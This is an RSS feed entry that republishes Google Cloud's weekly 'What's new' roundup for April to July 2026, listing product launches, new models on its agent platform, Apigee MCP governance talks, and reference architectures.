          <div class="uni-related-article-tout__image-wrapper">
            <div class="uni-related-article-tout__image"></div>
          </div>
          <div class="uni-related-article-tout__content">
            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Mercari: Faster and more efficient development with the help of Google Cloud</h4>
            <p class="uni-related-article-tout__body">Technical implementation can be challenging, and many businesses can benefit from hands-on support from their cloud provider. Learn how w...</p>
            <div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted">
              <span class="nowrap">Read Article
                <svg class="icon h-c-icon" role="presentation">
                  <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"></use>
                </svg>
              </span>
            </div>
          </div>
        </div>
      </div>
    </a>
  </section>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s new with Google Cloud]]></title>
<description><![CDATA[Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud bl...]]></description>
<link>https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="kgod7">Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. </p><hr><p data-block-key="ru1z9"><b>Tip</b>: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: <a href="https://cloud.google.com/blog/topics/inside-google-cloud/complete-list-google-cloud-blog-links-2021">Google Cloud blog 101: Full list of topics, links, and resources</a>.</p><hr><p data-block-key="b0lnw"></p></div>
<div class="block-aside"><dl>
    <dt>aside_block</dt>
    <dd>&lt;ListValue: []&gt;</dd>
</dl></div>
<div class="block-paragraph_advanced"><h3>Jul 6 - Jul 10</h3>
<ul>
<li><strong>Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks<br></strong>Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://www.brighttalk.com/webcast/18282/668861?utm_source=GCBlog" rel="noreferrer noopener" target="_blank">Register for the webinar now</a></li>
<li><strong>Safely run AI-generated code in Cloud Run sandboxes<br></strong>Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly <strong>within your existing Cloud Run service instances</strong>.<br><br>Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://cloud.google.com/blog/topics/developers-practitioners/google-cloud-run-sandboxes-are-in-public-preview" rel="noreferrer noopener" target="_blank">Read the blog</a><span> to learn more and get started today.</span></li>
<li><strong>Australia API Horizon: Scaling Enterprise Governed AI Agents<br></strong>The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.<br><br>Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.<br><br>Join us in your preferred city:
<ul>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="36" href="https://goo.gle/4voh18S" rel="noreferrer noopener" target="_blank"><strong>Sydney:</strong> July 28, 2026, at Google Sydney, One Darling Island.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://goo.gle/4h2x0FS" rel="noreferrer noopener" target="_blank"><strong>Canberra:</strong> July 29, 2026, at Hotel Realm.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://goo.gle/4yisb1F" rel="noreferrer noopener" target="_blank"><strong>Melbourne:</strong> August 4, 2026, at Google Melbourne.</a></li>
</ul>
</li>
<li><strong>Build highly available, multi-region services on Cloud Run<br></strong>Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="42" href="https://cloud.google.com/run/docs/configuring/configure-service-health" rel="noreferrer noopener" target="_blank">Learn how to configure service health for Cloud Run.</a></li>
<li><strong>Report: 83% of organizations need infrastructure upgrades for agentic AI<br></strong>The shift from conversational bots to autonomous agents is breaking legacy systems. Our new <em>State of AI Infrastructure</em> report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://cloud.google.com/blog/products/compute/state-of-ai-infrastructure-report-overview?e=48754805" rel="noreferrer noopener" target="_blank">Explore our key infrastructure insights</a></li>
<li><strong>Stop tinkering, start scaling: the industrialized AI Playbook<br></strong>Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.<br><br>In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&amp;L-impacting enterprise ROI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://www.google.com/url?q=https%3A%2F%2Fmedium.com%2F%40kjouannigot_73547%2Fscaling-trusted-ai-google-cloud-insights-to-capture-enterprise-roi-aa6c9b308adb" rel="noreferrer noopener" target="_blank">Read the full article on Medium</a></li>
<li><strong>AI Agent Clinic: Slashing App Latency by 80%<br></strong>Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="54" href="https://www.google.com/search?q=https://youtu.be/G7olcqETSn8" rel="noreferrer noopener" target="_blank">Watch the 60-minute teardown</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 29 - Jul 3</h3>
<ul>
<li><strong>Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform</strong>. <br>This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.<br><br>By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-sonnet-5?hl=en" rel="noreferrer noopener" target="_blank"><em>Get started today.</em></a></li>
<li>
<p><strong>Automate your AI governance with Apigee and YAML<br></strong><span>Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&amp;A session. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 16 Community TechTalk</strong></a></p>
</li>
<li>
<p><strong>Build next-generation AI portals for autonomous agents<br></strong><span>Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 23 Community TechTalk</strong></a></p>
</li>
<li><strong>Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)<br></strong>In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 30 Portuguese Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 22 - Jun 26</h3>
<ul>
<li><strong>Accelerate TPU model loading while saving RAM on GKE.<br></strong>Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source <strong>Run:ai Model Streamer</strong> now natively supports TPUs with Google Cloud Storage in<strong> </strong><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://github.com/vllm-project/tpu-inference" rel="noreferrer noopener" target="_blank"><strong>TPU vLLM 0.18.0</strong>.</a> This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was <strong>over 2x faster</strong> while cutting peak host memory usage by half. <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/accelerate-tpu-model-loading-while-saving-ram-on-gke/374835" rel="noreferrer noopener" target="_blank"><strong>Read the full guide and get started today</strong></a>.</li>
<li><strong>Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent<br></strong>Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.<br><br>You can read more of this capability by clicking this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/stop-training-blind-scaling-ai-with-the-new-opentelemetry-based-tpu-ai-telemetry-collector-agent/375210" rel="noreferrer noopener" target="_blank">link</a>.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 15 - Jun 19</h3>
<ul>
<li><strong>Join us for a deep dive into agentic AI control with AppyThings<br></strong>Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/3Sfle0y" rel="noreferrer noopener" target="_blank"><strong>Register for the session</strong></a></li>
<li><strong>Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview<br></strong>Google Compute Engine has launched <strong>Capacity Advisor for Spot</strong> to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"><strong>Capacity Advisor API</strong></a> for obtainability and minimum estimated uptimes, or use the new <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/compute/capacityAdvisor" rel="noreferrer noopener" target="_blank"><strong>Console UI</strong></a> featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank">Get started today</a> to start optimizing your Spot VM deployments!</li>
<li><strong>Build a multi-tenant agentic AI system<br></strong>When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/architecture/multi-tenant-agentic-ai-system" rel="noreferrer noopener" target="_blank">design and deploy a multi-tenant agentic AI system</a> in Google Cloud.</li>
<li><strong>How to Configure Gemini Enterprise to Connect to a Custom MCP Server<br></strong>The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog <a href="https://medium.com/google-cloud/how-to-configure-gemini-enterprise-to-connect-to-a-custom-mcp-server-2e28adc96420" rel="noopener" target="_blank">post</a> provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 8 - Jun 12</h3>
<ul>
<li><strong>Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available</strong> <br>Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="14" href="https://cloud.google.com/location-finder/docs" rel="noreferrer noopener" target="_blank">Get started for free today</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 1 - Jun 5</h3>
<ul>
<li><strong>Modeling the physical world with BigQuery Graph</strong><br>Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://cloud.google.com/blog/products/data-analytics/modeling-a-digital-twin-using-bigquery-graph" rel="noreferrer noopener" target="_blank">post</a>, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.</li>
<li><strong>Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)<br></strong>Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4dyC2Ie" rel="noreferrer noopener" target="_blank"><strong>Register for the June 18 Spanish Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 25 - May 29</h3>
<ul>
<li>
<p><strong><a href="https://www.anthropic.com/news/claude-opus-4-8" rel="noopener" target="_blank"><span>Anthropic’s Claude Opus 4.8</span></a><span> is now available on </span><a href="https://console.cloud.google.com/vertex-ai/publishers/anthropic/model-garden/claude-opus-4-8"><span>Gemini Enterprise Agent Platform</span></a></strong><span><strong>. </strong></span><span>As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.</span></p>
</li>
<li><strong>API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs <br></strong>Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.<strong><br><br><a href="https://goo.gle/4dTxQmo" rel="noopener" target="_blank">Register now</a></strong></li>
<li><strong>Securing AI Agents: The Extended Agent Gateway Pattern<br></strong>Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.<br><br><a href="https://goo.gle/4fbAsxg" rel="noopener" target="_blank"><strong>Register for the June 4 Community TechTalk</strong></a></li>
<li><strong>API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP<br></strong>Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.<br><br><a href="https://goo.gle/4nVyjIr" rel="noopener" target="_blank"><strong>Register for the June 11 Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 18 - May 22</h3>
<ul>
<li><strong>Chinese Webinar | June 4: AI Command and Control<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.<br><br><a href="https://goo.gle/4dx4Lf5" rel="noopener" target="_blank">Register here</a></li>
<li><strong>GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases<br></strong>Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new <a href="https://cloud.google.com/blog/products/ai-machine-learning/benchmark-llms-on-device-with-ai-edge-portal" rel="noopener" target="_blank">capabilities</a> to benchmark and debug LLM performance across these devices. <a href="https://docs.google.com/forms/d/e/1FAIpQLSfTcGPycQve8TLAsfH46pBlXBZe9FrgJAClwbF7DeL1LgVn4Q/viewform" rel="noopener" target="_blank">Sign-up</a> to utilize these new features in private preview today.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 11 - May 15</h3>
<ul>
<li><strong>Build Your AI &amp; MCP Control Tower for Universal Governance<br></strong>Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.<br><br><a href="https://goo.gle/4u9slWF" rel="noopener" target="_blank">Register for the May 21 Community TechTalk</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 27 - May 1</h3>
<ul>
<li><strong>Master Your Launch: The Apigee Production Go-Live Checklist<br></strong>Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.<br><br><strong><a href="https://goo.gle/4elMCTI" rel="noopener" target="_blank">Register for the May 28 Community TechTalk</a></strong></li>
<li>
<p><strong>Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform<br></strong><span>Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.</span></p>
<p><a href="https://goo.gle/3PfWm7M" rel="noopener" target="_blank">Register for the May 7 Community TechTalk</a></p>
</li>
<li><a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#g4-machine-types" rel="noopener" target="_blank">Fractional G4 VMs</a> are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
<ul>
<li><strong>1/2 GPU:</strong> Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.</li>
<li><strong>1/4 GPU:</strong> Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.</li>
<li><strong>1/8 GPU:</strong> Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.</li>
</ul>
</li>
<li>
<p>Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI &amp; Agentic solutions are robust, secure, and ready for the real world.</p>
<p><a href="https://lnkd.in/gHBH8cTv" rel="noopener" target="_blank">Watch the deep dive</a> and <a href="https://discuss.google.dev/t/beyond-the-prototype-scaling-production-grade-agents-with-gemini/356140" rel="noopener" target="_blank">read the developer blog</a> to learn more.</p>
</li>
<li><strong>ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available<br></strong>Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
<ul>
<li><strong>Install from Marketplace:</strong> <a href="https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.workbench-notebooks" rel="noopener" target="_blank">GoogleCloudTools.workbench-notebooks</a></li>
<li><strong>Contribute on GitHub:</strong> <a href="https://github.com/GoogleCloudPlatform/colab-enterprise-vscode" rel="noopener" target="_blank">colab-enterprise-vscode</a></li>
</ul>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 20 - Apr 24</h3>
<ul>
<li><strong>Announcing the 2026 Google Cloud Partners of the Year<br></strong>Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.<br><br>See the <a href="https://cloud.google.com/blog/topics/partners/2026-partners-of-the-year-winners-next26">2026 Partner Award winners</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 13 - Apr 17</h3>
<ul>
<li>We're excited to announce the <strong>Public Preview of Datastream’s metadata integration with Knowledge Catalog</strong>. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.</li>
<li><strong>Upgrading Apigee OPDK to 4.53 with OS Modernization<br></strong>Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition<br><br><a href="https://goo.gle/3Oa8uqy" rel="noopener" target="_blank">Read the guide</a></li>
<li><strong>Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale<br></strong>Google Cloud has announced the General Availability of <strong>Cloud Run worker pools</strong>, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the <strong>Cloud Run External Metrics Autoscaler (CREMA)</strong>. Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.</li>
<li><strong>Apigee Model Context Protocol (MCP) now Generally Available<br></strong>Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.<br><br><a href="https://goo.gle/3QfoEQ4" rel="noopener" target="_blank"><em>Explore the MCP overview</em></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 6 - Apr 10</h3>
<ul>
<li><strong>Community TechTalk: Powering Retail Agents with ADK, UCP &amp; Apigee X<br></strong>Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.<br><br><a href="https://goo.gle/41ocUgq" rel="noopener" target="_blank"><span>Register for the TechTalk</span></a></li>
<li><strong>Implement multimodal capabilities in your AI agents<br></strong>Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see <a href="https://docs.cloud.google.com/architecture/agentic-ai-classify-multimodal-data"><span>Classify multimodal data</span></a><span>. To create a fluid conversational AI that processes audio and video streams in real time, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-bidirectional-multimodal-streaming"><span>Enable live bidirectional multimodal streaming</span></a><span>. To consolidate fragmented multimodal data into a searchable knowledge graph, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-multimodal-graph-rag-resource-orchestration"><span>Multimodal GraphRAG resource orchestration</span></a><span>.</span></li>
<li><strong>Automate SecOps workflows with an agentic AI system<br></strong>To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to <a href="https://docs.cloud.google.com/architecture/agentic-ai-orchestrate-security-ops-workflows"><span>orchestrate security operations workflows</span></a><span>.</span></li>
</ul>
